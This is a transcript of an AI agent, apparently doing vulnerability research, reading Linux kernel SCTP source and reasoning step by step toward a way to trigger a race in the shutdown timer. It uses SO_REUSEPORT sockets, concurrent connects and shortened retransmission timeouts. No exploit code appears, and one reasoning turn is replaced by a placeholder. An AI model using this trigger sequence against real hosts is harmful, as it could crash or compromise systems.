1699:		/* Set an expiration time for the cookie.  */
1700:		cookie->c.expiration = ktime_add(asoc->cookie_life,
1701:						 ktime_get_real());
1702:	
1703:		/* Copy the peer's init packet.  */
1704:		memcpy(cookie + 1, init_chunk->chunk_hdr,
1705:		       ntohs(init_chunk->chunk_hdr->length));
1706:	
1707:		/* Copy the raw local address list of the association. */
1708:		memcpy((__u8 *)(cookie + 1) +
1709:		       ntohs(init_chunk->chunk_hdr->length), raw_addrs, addrs_len);
1710:	
1711:		/* Sign the cookie, if cookie authentication is enabled. */
1712:		if (sctp_sk(ep->base.sk)->cookie_auth_enable) {
1713:			static_assert(sizeof(cookie->mac) == SHA256_DIGEST_SIZE);
1714:			hmac_sha256(&ep->cookie_auth_key, (const u8 *)&cookie->c,
1715:				    bodysize, cookie->mac);
1716:		}
1717:	
1718:		return retval;
1719:	}
 SourceFile:net/sctp/sm_make_chunk.c]

gemini-3.1-pro-preview

							input: 57194
							output: 44
							thoughts: 113
						

**My Thought Process Regarding SCTP Cookie Initialization**

Ah, I see this line: `cookie->c = asoc->c;`. This tells me that the cookie structure is being populated with the contents of the association's cookie information. Specifically, it appears that `cookie->c` will hold the same values as `asoc->c`, which, from what I recall, typically contains `my_vtag`, `peer_vtag`, `my_ttag`, and `peer_ttag`.

Now, a critical question arises in my mind: when a client restarts and initiates a new `INIT` handshake, how are `my_ttag` and `peer_ttag` established within this *new* association? This isn't immediately obvious from just this assignment. The `ttag` values are crucial for reassembly and state management, so their correct initialization in a restart scenario is paramount. To understand this, I need to delve into the `sctp_process_init` function. That's where the logic for handling incoming `INIT` packets and establishing new associations resides, and I suspect the answer to my `ttag` initialization question will be found there.

map[ContextFile:net/sctp/sm_make_chunk.c Name:sctp_process_init]

map[SourceCode:2346:	/* Unpack the parameters in an INIT packet into an association.
2347:	 * Returns 0 on failure, else success.
2348:	 * FIXME:  This is an association method.
2349:	 */
2350:	int sctp_process_init(struct sctp_association *asoc, struct sctp_chunk *chunk,
2351:			      const union sctp_addr *peer_addr,
2352:			      struct sctp_init_chunk *peer_init, gfp_t gfp)
2353:	{
2354:		struct sctp_transport *transport;
2355:		struct list_head *pos, *temp;
2356:		union sctp_params param;
2357:		union sctp_addr addr;
2358:		struct sctp_af *af;
2359:		int src_match = 0;
2360:	
2361:		/* We must include the address that the INIT packet came from.
2362:		 * This is the only address that matters for an INIT packet.
2363:		 * When processing a COOKIE ECHO, we retrieve the from address
2364:		 * of the INIT from the cookie.
2365:		 */
2366:	
2367:		/* This implementation defaults to making the first transport
2368:		 * added as the primary transport.  The source address seems to
2369:		 * be a better choice than any of the embedded addresses.
2370:		 */
2371:		asoc->encap_port = SCTP_INPUT_CB(chunk->skb)->encap_port;
2372:		if (!sctp_assoc_add_peer(asoc, peer_addr, gfp, SCTP_ACTIVE))
2373:			goto nomem;
2374:	
2375:		if (sctp_cmp_addr_exact(sctp_source(chunk), peer_addr))
2376:			src_match = 1;
2377:	
2378:		/* Process the initialization parameters.  */
2379:		sctp_walk_params(param, peer_init) {
2380:			if (!src_match &&
2381:			    (param.p->type == SCTP_PARAM_IPV4_ADDRESS ||
2382:			     param.p->type == SCTP_PARAM_IPV6_ADDRESS)) {
2383:				af = sctp_get_af_specific(param_type2af(param.p->type));
2384:				if (!af->from_addr_param(&addr, param.addr,
2385:							 chunk->sctp_hdr->source, 0))
2386:					continue;
2387:				if (sctp_cmp_addr_exact(sctp_source(chunk), &addr))
2388:					src_match = 1;
2389:			}
2390:	
2391:			if (!sctp_process_param(asoc, param, peer_addr, gfp))
2392:				goto clean_up;
2393:		}
2394:	
2395:		/* source address of chunk may not match any valid address */
2396:		if (!src_match)
2397:			goto clean_up;
2398:	
2399:		/* AUTH: After processing the parameters, make sure that we
2400:		 * have all the required info to potentially do authentications.
2401:		 */
2402:		if (asoc->peer.auth_capable && (!asoc->peer.peer_random ||
2403:						!asoc->peer.peer_hmacs))
2404:			asoc->peer.auth_capable = 0;
2405:	
2406:		/* In a non-backward compatible mode, if the peer claims
2407:		 * support for ADD-IP but not AUTH,  the ADD-IP spec states
2408:		 * that we MUST ABORT the association. Section 6.  The section
2409:		 * also give us an option to silently ignore the packet, which
2410:		 * is what we'll do here.
2411:		 */
2412:		if (!asoc->base.net->sctp.addip_noauth &&
2413:		    (asoc->peer.asconf_capable && !asoc->peer.auth_capable)) {
2414:			asoc->peer.addip_disabled_mask |= (SCTP_PARAM_ADD_IP |
2415:							  SCTP_PARAM_DEL_IP |
2416:							  SCTP_PARAM_SET_PRIMARY);
2417:			asoc->peer.asconf_capable = 0;
2418:			goto clean_up;
2419:		}
2420:	
2421:		/* Walk list of transports, removing transports in the UNKNOWN state. */
2422:		list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {
2423:			transport = list_entry(pos, struct sctp_transport, transports);
2424:			if (transport->state == SCTP_UNKNOWN) {
2425:				sctp_assoc_rm_peer(asoc, transport);
2426:			}
2427:		}
2428:	
2429:		/* The fixed INIT headers are always in network byte
2430:		 * order.
2431:		 */
2432:		asoc->peer.i.init_tag =
2433:			ntohl(peer_init->init_hdr.init_tag);
2434:		asoc->peer.i.a_rwnd =
2435:			ntohl(peer_init->init_hdr.a_rwnd);
2436:		asoc->peer.i.num_outbound_streams =
2437:			ntohs(peer_init->init_hdr.num_outbound_streams);
2438:		asoc->peer.i.num_inbound_streams =
2439:			ntohs(peer_init->init_hdr.num_inbound_streams);
2440:		asoc->peer.i.initial_tsn =
2441:			ntohl(peer_init->init_hdr.initial_tsn);
2442:	
2443:		asoc->strreset_inseq = asoc->peer.i.initial_tsn;
2444:	
2445:		/* Apply the upper bounds for output streams based on peer's
2446:		 * number of inbound streams.
2447:		 */
2448:		if (asoc->c.sinit_num_ostreams  >
2449:		    ntohs(peer_init->init_hdr.num_inbound_streams)) {
2450:			asoc->c.sinit_num_ostreams =
2451:				ntohs(peer_init->init_hdr.num_inbound_streams);
2452:		}
2453:	
2454:		if (asoc->c.sinit_max_instreams >
2455:		    ntohs(peer_init->init_hdr.num_outbound_streams)) {
2456:			asoc->c.sinit_max_instreams =
2457:				ntohs(peer_init->init_hdr.num_outbound_streams);
2458:		}
2459:	
2460:		/* Copy Initiation tag from INIT to VT_peer in cookie.   */
2461:		asoc->c.peer_vtag = asoc->peer.i.init_tag;
2462:	
2463:		/* Peer Rwnd   : Current calculated value of the peer's rwnd.  */
2464:		asoc->peer.rwnd = asoc->peer.i.a_rwnd;
2465:	
2466:		/* RFC 2960 7.2.1 The initial value of ssthresh MAY be arbitrarily
2467:		 * high (for example, implementations MAY use the size of the receiver
2468:		 * advertised window).
2469:		 */
2470:		list_for_each_entry(transport, &asoc->peer.transport_addr_list,
2471:				transports) {
2472:			transport->ssthresh = asoc->peer.i.a_rwnd;
2473:		}
2474:	
2475:		/* Set up the TSN tracking pieces.  */
2476:		if (!sctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_INITIAL,
2477:					asoc->peer.i.initial_tsn, gfp))
2478:			goto clean_up;
2479:	
2480:		/* RFC 2960 6.5 Stream Identifier and Stream Sequence Number
2481:		 *
2482:		 * The stream sequence number in all the streams shall start
2483:		 * from 0 when the association is established.  Also, when the
2484:		 * stream sequence number reaches the value 65535 the next
2485:		 * stream sequence number shall be set to 0.
2486:		 */
2487:	
2488:		if (sctp_stream_init(&asoc->stream, asoc->c.sinit_num_ostreams,
2489:				     asoc->c.sinit_max_instreams, gfp))
2490:			goto clean_up;
2491:	
2492:		/* Update frag_point when stream_interleave may get changed. */
2493:		sctp_assoc_update_frag_point(asoc);
2494:	
2495:		if (!asoc->temp && sctp_assoc_set_id(asoc, gfp))
2496:			goto clean_up;
2497:	
2498:		/* ADDIP Section 4.1 ASCONF Chunk Procedures
2499:		 *
2500:		 * When an endpoint has an ASCONF signaled change to be sent to the
2501:		 * remote endpoint it should do the following:
2502:		 * ...
2503:		 * A2) A serial number should be assigned to the Chunk. The serial
2504:		 * number should be a monotonically increasing number. All serial
2505:		 * numbers are defined to be initialized at the start of the
2506:		 * association to the same value as the Initial TSN.
2507:		 */
2508:		asoc->peer.addip_serial = asoc->peer.i.initial_tsn - 1;
2509:		return 1;
2510:	
2511:	clean_up:
2512:		/* Release the transport structures. */
2513:		list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) {
2514:			transport = list_entry(pos, struct sctp_transport, transports);
2515:			if (transport->state != SCTP_ACTIVE)
2516:				sctp_assoc_rm_peer(asoc, transport);
2517:		}
2518:	
2519:	nomem:
2520:		return 0;
2521:	}
 SourceFile:net/sctp/sm_make_chunk.c]

gemini-3.1-pro-preview

							input: 60407
							output: 30
							thoughts: 46
						

**A Deep Dive into SCTP Initialization and Tag Management**

My initial investigation into the SCTP initialization process has revealed a puzzling omission. Upon examining the `sctp_process_init` function, I've observed that it doesn't appear to be responsible for setting either `my_ttag` or `peer_ttag`. This immediately raises a critical question for me: if not here, then where are these crucial tag values being established? My immediate next step, therefore, is to initiate a targeted search for any code that references `my_ttag` to understand the complete lifecycle and assignment of this identifier. This thorough examination is essential to ensure the integrity and correct functioning of the SCTP protocol's state management.

map[Expression:my_ttag PathPrefix:net/sctp/]

map[Output:net/sctp/sm_statefuns.c=1446=static void sctp_tietags_populate(struct sctp_association *new_asoc,
--
net/sctp/sm_statefuns.c-1454-		new_asoc->c.my_vtag     = asoc->c.my_vtag;
net/sctp/sm_statefuns.c:1455:		new_asoc->c.my_ttag     = asoc->c.my_vtag;
net/sctp/sm_statefuns.c-1456-		new_asoc->c.peer_ttag   = 0;
--
net/sctp/sm_statefuns.c-1460-		new_asoc->c.my_vtag     = asoc->c.my_vtag;
net/sctp/sm_statefuns.c:1461:		new_asoc->c.my_ttag     = asoc->c.my_vtag;
net/sctp/sm_statefuns.c-1462-		new_asoc->c.peer_ttag   = asoc->c.peer_vtag;
--
net/sctp/sm_statefuns.c-1468-	default:
net/sctp/sm_statefuns.c:1469:		new_asoc->c.my_ttag   = asoc->c.my_vtag;
net/sctp/sm_statefuns.c-1470-		new_asoc->c.peer_ttag = asoc->c.peer_vtag;
--
net/sctp/sm_statefuns.c=1493=static char sctp_tietags_compare(struct sctp_association *new_asoc,
--
net/sctp/sm_statefuns.c-1498-	    (asoc->c.peer_vtag != new_asoc->c.peer_vtag) &&
net/sctp/sm_statefuns.c:1499:	    (asoc->c.my_vtag == new_asoc->c.my_ttag) &&
net/sctp/sm_statefuns.c-1500-	    (asoc->c.peer_vtag == new_asoc->c.peer_ttag))
--
net/sctp/sm_statefuns.c-1517-	    (asoc->c.peer_vtag == new_asoc->c.peer_vtag) &&
net/sctp/sm_statefuns.c:1518:	    (0 == new_asoc->c.my_ttag) &&
net/sctp/sm_statefuns.c-1519-	    (0 == new_asoc->c.peer_ttag))
]

gemini-3.1-pro-preview

							input: 61204
							output: 46
							thoughts: 30
						

**My Thought Process on `sctp_tietags_populate`**

Ah, so the core of my current contemplation is this function: `sctp_tietags_populate`. My immediate instinct, as an expert in this domain, is to dive straight into its workings. I need to understand precisely *how* it populates these "tie tags" within the SCTP context. My internal process is already framing the questions: what data structures is it interacting with? What are the sources of information it's drawing from? And, critically, what are the conditions under which it populates, and what are the implications of that population for subsequent SCTP operations? I'm not just passively observing; I'm actively dissecting its purpose and mechanism, ready to identify any potential nuances, edge cases, or performance considerations.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_tietags_populate]

map[SourceCode:1441:	/* Populate the verification/tie tags based on overlapping INIT
1442:	 * scenario.
1443:	 *
1444:	 * Note: Do not use in CLOSED or SHUTDOWN-ACK-SENT state.
1445:	 */
1446:	static void sctp_tietags_populate(struct sctp_association *new_asoc,
1447:					  const struct sctp_association *asoc)
1448:	{
1449:		switch (asoc->state) {
1450:	
1451:		/* 5.2.1 INIT received in COOKIE-WAIT or COOKIE-ECHOED State */
1452:	
1453:		case SCTP_STATE_COOKIE_WAIT:
1454:			new_asoc->c.my_vtag     = asoc->c.my_vtag;
1455:			new_asoc->c.my_ttag     = asoc->c.my_vtag;
1456:			new_asoc->c.peer_ttag   = 0;
1457:			break;
1458:	
1459:		case SCTP_STATE_COOKIE_ECHOED:
1460:			new_asoc->c.my_vtag     = asoc->c.my_vtag;
1461:			new_asoc->c.my_ttag     = asoc->c.my_vtag;
1462:			new_asoc->c.peer_ttag   = asoc->c.peer_vtag;
1463:			break;
1464:	
1465:		/* 5.2.2 Unexpected INIT in States Other than CLOSED, COOKIE-ECHOED,
1466:		 * COOKIE-WAIT and SHUTDOWN-ACK-SENT
1467:		 */
1468:		default:
1469:			new_asoc->c.my_ttag   = asoc->c.my_vtag;
1470:			new_asoc->c.peer_ttag = asoc->c.peer_vtag;
1471:			break;
1472:		}
1473:	
1474:		/* Other parameters for the endpoint SHOULD be copied from the
1475:		 * existing parameters of the association (e.g. number of
1476:		 * outbound streams) into the INIT ACK and cookie.
1477:		 */
1478:		new_asoc->rwnd                  = asoc->rwnd;
1479:		new_asoc->c.sinit_num_ostreams  = asoc->c.sinit_num_ostreams;
1480:		new_asoc->c.sinit_max_instreams = asoc->c.sinit_max_instreams;
1481:		new_asoc->c.initial_tsn         = asoc->c.initial_tsn;
1482:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 62071
							output: 31
							thoughts: 1234
						

log-in to see details

map[Expression:SO_REUSEPORT PathPrefix:net/sctp/]

map[Output:]

gemini-3.1-pro-preview

							input: 63334
							output: 40
							thoughts: 27
						

**My Thought Process Regarding SCTP and Socket Reuse**

Right, so when I'm digging into SCTP's behavior, a thought that immediately pops into my head is about how it handles socket reuse. I know that for many protocols, there's a standard mechanism for this, often exposed through flags like `SO_REUSEPORT` (or its generic counterpart, `sk_reuseport` in the kernel's internal representation). My instinct is to wonder if SCTP, being a distinct protocol, might leverage this existing, well-established functionality. It would make sense for consistency and to avoid reinventing the wheel for such a fundamental networking concept.

Therefore, my next step is to follow that line of inquiry. I need to verify if SCTP, in its implementation, indeed utilizes this generic `sk_reuseport` mechanism. To do that, I'll likely trace the code path, and the most logical place to start is the function responsible for acquiring or binding a port for SCTP. That's why I'm thinking of looking into `sctp_get_port`. This function should, if my hypothesis is correct, either directly use or ultimately call into the underlying kernel functions that handle socket options like `sk_reuseport`. It's a direct query to confirm if SCTP's port allocation is integrated with the generic socket reuse capabilities we see in other transport protocols.

map[ContextFile:net/sctp/socket.c Name:sctp_get_port]

map[SourceCode:8576:	/* Assign a 'snum' port to the socket.  If snum == 0, an ephemeral
8577:	 * port is requested.
8578:	 */
8579:	static int sctp_get_port(struct sock *sk, unsigned short snum)
8580:	{
8581:		union sctp_addr addr;
8582:		struct sctp_af *af = sctp_sk(sk)->pf->af;
8583:	
8584:		/* Set up a dummy address struct from the sk. */
8585:		af->from_sk(&addr, sk);
8586:		addr.v4.sin_port = htons(snum);
8587:	
8588:		/* Note: sk->sk_num gets filled in if ephemeral port request. */
8589:		return sctp_get_port_local(sk, &addr);
8590:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 63666
							output: 42
							thoughts: 15
						

**A Deep Dive into `sctp_get_port_local`**

My immediate thought, when faced with the need to understand how a local SCTP port is obtained, is to examine the `sctp_get_port_local` function. I assume this function is central to the process, likely handling the allocation and assignment of a specific port number for an SCTP association on the local machine. My expectation is that this function will involve interacting with the operating system's network stack to find an available port, potentially considering factors like port range restrictions, system-wide resource limits, and perhaps even existing associations on that particular host. I'll be looking to see how it manages potential race conditions, ensuring that two separate attempts to acquire the same port don't collide, and how it handles errors, such as when no ports are available. Understanding the internal logic of `sctp_get_port_local` will be key to comprehending the broader mechanisms of SCTP endpoint management and port binding.

map[ContextFile:net/sctp/socket.c Name:sctp_get_port_local]

map[SourceCode:8408:	static int sctp_get_port_local(struct sock *sk, union sctp_addr *addr)
8409:	{
8410:		struct sctp_sock *sp = sctp_sk(sk);
8411:		bool reuse = (sk->sk_reuse || sp->reuse);
8412:		struct sctp_bind_hashbucket *head; /* hash list */
8413:		struct net *net = sock_net(sk);
8414:		struct sctp_bind_bucket *pp;
8415:		kuid_t uid = sk_uid(sk);
8416:		unsigned short snum;
8417:		int ret;
8418:	
8419:		snum = ntohs(addr->v4.sin_port);
8420:	
8421:		pr_debug("%s: begins, snum:%d\n", __func__, snum);
8422:	
8423:		if (snum == 0) {
8424:			/* Search for an available port. */
8425:			int low, high, remaining, index;
8426:			unsigned int rover;
8427:	
8428:			inet_sk_get_local_port_range(sk, &low, &high);
8429:			remaining = (high - low) + 1;
8430:			rover = get_random_u32_below(remaining) + low;
8431:	
8432:			do {
8433:				rover++;
8434:				if ((rover < low) || (rover > high))
8435:					rover = low;
8436:				if (inet_is_local_reserved_port(net, rover))
8437:					continue;
8438:				index = sctp_phashfn(net, rover);
8439:				head = &sctp_port_hashtable[index];
8440:				spin_lock_bh(&head->lock);
8441:				sctp_for_each_hentry(pp, &head->chain)
8442:					if ((pp->port == rover) &&
8443:					    net_eq(net, pp->net))
8444:						goto next;
8445:				break;
8446:			next:
8447:				spin_unlock_bh(&head->lock);
8448:				cond_resched();
8449:			} while (--remaining > 0);
8450:	
8451:			/* Exhausted local port range during search? */
8452:			ret = 1;
8453:			if (remaining <= 0)
8454:				return ret;
8455:	
8456:			/* OK, here is the one we will use.  HEAD (the port
8457:			 * hash table list entry) is non-NULL and we hold it's
8458:			 * mutex.
8459:			 */
8460:			snum = rover;
8461:		} else {
8462:			/* We are given an specific port number; we verify
8463:			 * that it is not being used. If it is used, we will
8464:			 * exahust the search in the hash list corresponding
8465:			 * to the port number (snum) - we detect that with the
8466:			 * port iterator, pp being NULL.
8467:			 */
8468:			head = &sctp_port_hashtable[sctp_phashfn(net, snum)];
8469:			spin_lock_bh(&head->lock);
8470:			sctp_for_each_hentry(pp, &head->chain) {
8471:				if ((pp->port == snum) && net_eq(pp->net, net))
8472:					goto pp_found;
8473:			}
8474:		}
8475:		pp = NULL;
8476:		goto pp_not_found;
8477:	pp_found:
8478:		if (!hlist_empty(&pp->owner)) {
8479:			/* We had a port hash table hit - there is an
8480:			 * available port (pp != NULL) and it is being
8481:			 * used by other socket (pp->owner not empty); that other
8482:			 * socket is going to be sk2.
8483:			 */
8484:			struct sock *sk2;
8485:	
8486:			pr_debug("%s: found a possible match\n", __func__);
8487:	
8488:			if ((pp->fastreuse && reuse &&
8489:			     sk->sk_state != SCTP_SS_LISTENING) ||
8490:			    (pp->fastreuseport && sk->sk_reuseport &&
8491:			     uid_eq(pp->fastuid, uid)))
8492:				goto success;
8493:	
8494:			/* Run through the list of sockets bound to the port
8495:			 * (pp->port) [via the pointers bind_next and
8496:			 * bind_pprev in the struct sock *sk2 (pp->sk)]. On each one,
8497:			 * we get the endpoint they describe and run through
8498:			 * the endpoint's list of IP (v4 or v6) addresses,
8499:			 * comparing each of the addresses with the address of
8500:			 * the socket sk. If we find a match, then that means
8501:			 * that this port/socket (sk) combination are already
8502:			 * in an endpoint.
8503:			 */
8504:			sk_for_each_bound(sk2, &pp->owner) {
8505:				int bound_dev_if2 = READ_ONCE(sk2->sk_bound_dev_if);
8506:				struct sctp_sock *sp2 = sctp_sk(sk2);
8507:				struct sctp_endpoint *ep2 = sp2->ep;
8508:	
8509:				if (sk == sk2 ||
8510:				    (reuse && (sk2->sk_reuse || sp2->reuse) &&
8511:				     sk2->sk_state != SCTP_SS_LISTENING) ||
8512:				    (sk->sk_reuseport && sk2->sk_reuseport &&
8513:				     uid_eq(uid, sk_uid(sk2))))
8514:					continue;
8515:	
8516:				if ((!sk->sk_bound_dev_if || !bound_dev_if2 ||
8517:				     sk->sk_bound_dev_if == bound_dev_if2) &&
8518:				    sctp_bind_addr_conflict(&ep2->base.bind_addr,
8519:							    addr, sp2, sp)) {
8520:					ret = 1;
8521:					goto fail_unlock;
8522:				}
8523:			}
8524:	
8525:			pr_debug("%s: found a match\n", __func__);
8526:		}
8527:	pp_not_found:
8528:		/* If there was a hash table miss, create a new port.  */
8529:		ret = 1;
8530:		if (!pp && !(pp = sctp_bucket_create(head, net, snum)))
8531:			goto fail_unlock;
8532:	
8533:		/* In either case (hit or miss), make sure fastreuse is 1 only
8534:		 * if sk->sk_reuse is too (that is, if the caller requested
8535:		 * SO_REUSEADDR on this socket -sk-).
8536:		 */
8537:		if (hlist_empty(&pp->owner)) {
8538:			if (reuse && sk->sk_state != SCTP_SS_LISTENING)
8539:				pp->fastreuse = 1;
8540:			else
8541:				pp->fastreuse = 0;
8542:	
8543:			if (sk->sk_reuseport) {
8544:				pp->fastreuseport = 1;
8545:				pp->fastuid = uid;
8546:			} else {
8547:				pp->fastreuseport = 0;
8548:			}
8549:		} else {
8550:			if (pp->fastreuse &&
8551:			    (!reuse || sk->sk_state == SCTP_SS_LISTENING))
8552:				pp->fastreuse = 0;
8553:	
8554:			if (pp->fastreuseport &&
8555:			    (!sk->sk_reuseport || !uid_eq(pp->fastuid, uid)))
8556:				pp->fastreuseport = 0;
8557:		}
8558:	
8559:		/* We are set, so fill up all the data in the hash table
8560:		 * entry, tie the socket list information with the rest of the
8561:		 * sockets FIXME: Blurry, NPI (ipg).
8562:		 */
8563:	success:
8564:		if (!sp->bind_hash) {
8565:			inet_sk(sk)->inet_num = snum;
8566:			sk_add_bind_node(sk, &pp->owner);
8567:			sp->bind_hash = pp;
8568:		}
8569:		ret = 0;
8570:	
8571:	fail_unlock:
8572:		spin_unlock_bh(&head->lock);
8573:		return ret;
8574:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 66379
							output: 38
							thoughts: 1727
						

**My Thought Process on Uncovering the SCTP Race Condition**

I've been exploring the intricacies of SCTP and how `SO_REUSEPORT` interacts with connection establishment, particularly in scenarios involving shutdown. My initial thought was about the potential for `SO_REUSEPORT` to allow multiple sockets to bind to the same port. This is a standard TCP behavior, and I verified that SCTP does indeed support this through the `sk->sk_reuseport` check within `sctp_get_port_local`.

The real puzzle began when I considered what happens if I have two SCTP sockets bound to the same local port and then attempt to `connect()` on the second one *after* the first has already initiated a connection. My understanding is that a `connect()` call initiates an `INIT` (Initialization) chunk. If the first socket had already established an association with a server, the `INIT` from the second socket, originating from the same IP and port, would arrive at the server.

The critical observation here is how the server would interpret this `INIT`. Since the source IP and port match an *existing* association, the server might treat this `INIT` as an unexpected one for that established association. If the server is already in a `SHUTDOWN_SENT` state for that existing association, it would respond with an `INIT_ACK` containing tie tags, which are crucial for maintaining session integrity.

This is where the next layer of complexity arises: which client socket receives this `INIT_ACK`? Since both sockets are bound to the same local port and `SO_REUSEPORT` is in play, the kernel's hashing mechanism will determine which socket gets the incoming packet. If the `INIT_ACK` is routed to the *first* socket (the one that might be in `CLOSED` or `SHUTDOWN_PENDING` state), it could be ignored or result in an `ABORT`. However, if it's routed to the *second* socket (the one that has just sent the `INIT` and is likely in a `COOKIE_WAIT` state), it would process the `INIT_ACK` and, in turn, send a `COOKIE_ECHO`. This is the core of the race condition I was trying to exploit.

To ensure the `INIT_ACK` lands on the intended new socket, I considered closing the first socket on the client. However, that would trigger a `SHUTDOWN` or `ABORT` from the first socket to the server. If it's a `SHUTDOWN`, the server would enter `SHUTDOWN_RECEIVED`, which isn't the `SHUTDOWN_SENT` state we need for the race. The server enters `SHUTDOWN_SENT` *only* when it initiates the shutdown itself.

This led me to refine the sequence of events:

1.  **Client initiates a connection to the Server.**
2.  **Server initiates a shutdown:** The server must explicitly call `shutdown(fd, SHUT_WR)` or `close(fd)`. This sends a `SHUTDOWN` chunk to the client and transitions the server association to the `SHUTDOWN_SENT` state.
3.  **Client receives `SHUTDOWN`:** The client association enters `SHUTDOWN_RECEIVED`.
4.  **Client creates a NEW socket:** This is where the `SO_REUSEPORT` magic comes in. The new client socket binds to the *same* local port as the first, and then calls `connect()` to the server.
5.  **`INIT` is sent:** The `connect()` on the new socket sends an `INIT` chunk.
6.  **Server processes `INIT` in `SHUTDOWN_SENT`:** The server receives the `INIT`. Because it's in `SHUTDOWN_SENT` state, it doesn't reject the connection outright. Instead, it sends back an `INIT_ACK` containing the crucial tie tags.
7.  **Client receives `INIT_ACK`:** The `INIT_ACK` arrives. Crucially, SCTP's routing for `INIT_ACK` is based on the verification tag (vtag). Since the *new* socket sent the `INIT`, the `INIT_ACK` will have a vtag matching this new socket. This ensures the `INIT_ACK` is delivered to the correct, new socket, which is in `COOKIE_WAIT` state.
8.  **New client socket sends `COOKIE_ECHO`:** The new socket processes the `INIT_ACK` and sends a `COOKIE_ECHO`.
9.  **Server processes `COOKIE_ECHO` in `SHUTDOWN_SENT`:** The server receives the `COOKIE_ECHO`. This is the point where the race condition can be triggered. The server's action for a `COOKIE_ECHO` received in `SHUTDOWN_SENT` state involves starting the `T2_SHUTDOWN` timer (via `SCTP_CMD_TIMER_START`).

The idea of repeating this process became clear: I could spawn multiple client threads, each creating a new socket, binding to the same port (thanks to `SO_REUSEPORT`), and concurrently calling `connect()`. Each of these `connect()` calls would generate an `INIT`, receive an `INIT_ACK`, and then send a `COOKIE_ECHO`. The server, already in `SHUTDOWN_SENT`, would receive these `COOKIE_ECHO`s and repeatedly trigger the `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`.

To maximize the chances of hitting the race condition, I considered accelerating the `T2_SHUTDOWN` timer. This is achieved by setting aggressive RTO values (e.g., `srto_initial = srto_min = srto_max = 10ms`) on the server socket using `SCTP_RTOINFO`. This would make the timer expire very quickly, increasing the probability of race conditions while multiple client `INIT`s are in flight.

A final verification was needed: would the `INIT_ACK` actually be routed to the *new* socket if the first client socket was still active? My understanding of SCTP's packet routing for `INIT_ACK` is based on the verification tag, which is derived from the `init_tag` sent in the `INIT`. Since the new socket sent the `INIT`, the `INIT_ACK`'s vtag will match the new socket, ensuring correct routing. This confirmed my hypothesis.

The final piece was examining the server-side logic (`sctp_sf_do_dupcook_a`). It checks for `sctp_state(asoc, SHUTDOWN_PENDING) || sctp_state(asoc, SHUTDOWN_SENT)` and also `sctp_sstate(asoc->base.sk, CLOSING) || sock_flag(asoc->base.sk, SOCK_DEAD)`. This means the server socket itself needs to be in a closing or dead state for the `dupcook_a` action to occur. This can be achieved by calling `close(client_fd)` on the server side *after* initiating the shutdown. This further solidifies the exact sequence required for the race.

map[ContextFile:net/sctp/socket.c Name:sctp_close]

map[SourceCode:1434:	/* API 3.1.4 close() - UDP Style Syntax
1435:	 * Applications use close() to perform graceful shutdown (as described in
1436:	 * Section 10.1 of [SCTP]) on ALL the associations currently represented
1437:	 * by a UDP-style socket.
1438:	 *
1439:	 * The syntax is
1440:	 *
1441:	 *   ret = close(int sd);
1442:	 *
1443:	 *   sd      - the socket descriptor of the associations to be closed.
1444:	 *
1445:	 * To gracefully shutdown a specific association represented by the
1446:	 * UDP-style socket, an application should use the sendmsg() call,
1447:	 * passing no user data, but including the appropriate flag in the
1448:	 * ancillary data (see Section xxxx).
1449:	 *
1450:	 * If sd in the close() call is a branched-off socket representing only
1451:	 * one association, the shutdown is performed on that association only.
1452:	 *
1453:	 * 4.1.6 close() - TCP Style Syntax
1454:	 *
1455:	 * Applications use close() to gracefully close down an association.
1456:	 *
1457:	 * The syntax is:
1458:	 *
1459:	 *    int close(int sd);
1460:	 *
1461:	 *      sd      - the socket descriptor of the association to be closed.
1462:	 *
1463:	 * After an application calls close() on a socket descriptor, no further
1464:	 * socket operations will succeed on that descriptor.
1465:	 *
1466:	 * API 7.1.4 SO_LINGER
1467:	 *
1468:	 * An application using the TCP-style socket can use this option to
1469:	 * perform the SCTP ABORT primitive.  The linger option structure is:
1470:	 *
1471:	 *  struct  linger {
1472:	 *     int     l_onoff;                // option on/off
1473:	 *     int     l_linger;               // linger time
1474:	 * };
1475:	 *
1476:	 * To enable the option, set l_onoff to 1.  If the l_linger value is set
1477:	 * to 0, calling close() is the same as the ABORT primitive.  If the
1478:	 * value is set to a negative value, the setsockopt() call will return
1479:	 * an error.  If the value is set to a positive value linger_time, the
1480:	 * close() can be blocked for at most linger_time ms.  If the graceful
1481:	 * shutdown phase does not finish during this period, close() will
1482:	 * return but the graceful shutdown phase continues in the system.
1483:	 */
1484:	static void sctp_close(struct sock *sk, long timeout)
1485:	{
1486:		struct net *net = sock_net(sk);
1487:		struct sctp_endpoint *ep;
1488:		struct sctp_association *asoc;
1489:		struct list_head *pos, *temp;
1490:		unsigned int data_was_unread;
1491:	
1492:		pr_debug("%s: sk:%p, timeout:%ld\n", __func__, sk, timeout);
1493:	
1494:		lock_sock_nested(sk, SINGLE_DEPTH_NESTING);
1495:		sk->sk_shutdown = SHUTDOWN_MASK;
1496:		inet_sk_set_state(sk, SCTP_SS_CLOSING);
1497:	
1498:		ep = sctp_sk(sk)->ep;
1499:	
1500:		/* Clean up any skbs sitting on the receive queue.  */
1501:		data_was_unread = sctp_queue_purge_ulpevents(&sk->sk_receive_queue);
1502:		data_was_unread += sctp_queue_purge_ulpevents(&sctp_sk(sk)->pd_lobby);
1503:	
1504:		/* Walk all associations on an endpoint.  */
1505:		list_for_each_safe(pos, temp, &ep->asocs) {
1506:			asoc = list_entry(pos, struct sctp_association, asocs);
1507:	
1508:			if (sctp_style(sk, TCP)) {
1509:				/* A closed association can still be in the list if
1510:				 * it belongs to a TCP-style listening socket that is
1511:				 * not yet accepted. If so, free it. If not, send an
1512:				 * ABORT or SHUTDOWN based on the linger options.
1513:				 */
1514:				if (sctp_state(asoc, CLOSED)) {
1515:					sctp_association_free(asoc);
1516:					continue;
1517:				}
1518:			}
1519:	
1520:			if (data_was_unread || !skb_queue_empty(&asoc->ulpq.lobby) ||
1521:			    !skb_queue_empty(&asoc->ulpq.reasm) ||
1522:			    !skb_queue_empty(&asoc->ulpq.reasm_uo) ||
1523:			    (sock_flag(sk, SOCK_LINGER) && !sk->sk_lingertime)) {
